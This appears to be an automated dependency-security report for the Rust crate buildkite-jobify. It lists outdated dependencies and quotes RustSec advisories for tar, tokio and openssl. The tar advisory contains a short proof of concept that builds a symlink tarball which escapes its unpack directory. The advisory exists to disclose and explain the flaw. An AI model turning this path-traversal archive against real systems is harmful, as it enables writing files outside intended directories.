This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate buildkite-jobify

Dependencies

(26 total, 6 outdated, 3 possibly insecure)

CrateRequiredLatestStatus
 anyhow^1.01.0.71up to date
 app_dirs2^2.32.5.5up to date
 base64^0.130.21.2out of date
 bytes^1.01.4.0up to date
 camino^1.01.1.4up to date
 clap^3.24.3.3out of date
 crossbeam^0.80.8.2up to date
 flate2^1.01.0.26up to date
 futures^0.30.3.28up to date
 graphql_client^0.110.13.0out of date
 http^0.20.2.9up to date
 lru_time_cache^0.110.11.11up to date
 openssl ⚠️^0.100.10.54maybe insecure
 reqwest^0.110.11.18up to date
 serde^1.01.0.164up to date
 serde_json^1.01.0.96up to date
 serde_yaml^0.90.9.21up to date
 tar ⚠️^0.40.4.38maybe insecure
 toml^0.50.7.4out of date
 tame-oauth^0.70.9.3out of date
 tracing^0.10.1.37up to date
 tracing-subscriber^0.30.3.17up to date
 twox-hash^1.61.6.3up to date
 uuid^1.11.3.3up to date
 tokio ⚠️^1.01.28.2maybe insecure
 k8s-openapi^0.150.18.0out of date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

tokio: reject_remote_clients Configuration corruption

RUSTSEC-2023-0001

On Windows, configuring a named pipe server with pipe_mode will force ServerOptions::reject_remote_clients as false.

This drops any intended explicit configuration for the reject_remote_clients that may have been set as true previously.

The default setting of reject_remote_clients is normally true meaning the default is also overridden as false.

Workarounds

Ensure that pipe_mode is set first after initializing a ServerOptions. For example:

let mut opts = ServerOptions::new();
opts.pipe_mode(PipeMode::Message);
opts.reject_remote_clients(true);

openssl: `openssl` `X509NameBuilder::build` returned object is not thread safe

RUSTSEC-2023-0022

OpenSSL has a modified bit that it can set on on X509_NAME objects. If this bit is set then the object is not thread-safe even when it appears the code is not modifying the value.

Thanks to David Benjamin (Google) for reporting this issue.

openssl: `openssl` `SubjectAlternativeName` and `ExtendedKeyUsage::other` allow arbitrary file read

RUSTSEC-2023-0023

SubjectAlternativeName and ExtendedKeyUsage arguments were parsed using the OpenSSL function X509V3_EXT_nconf. This function parses all input using an OpenSSL mini-language which can perform arbitrary file reads.

Thanks to David Benjamin (Google) for reporting this issue.

openssl: `openssl` `X509Extension::new` and `X509Extension::new_nid` null pointer dereference

RUSTSEC-2023-0024

These functions would crash when the context argument was None with certain extension types.

Thanks to David Benjamin (Google) for reporting this issue.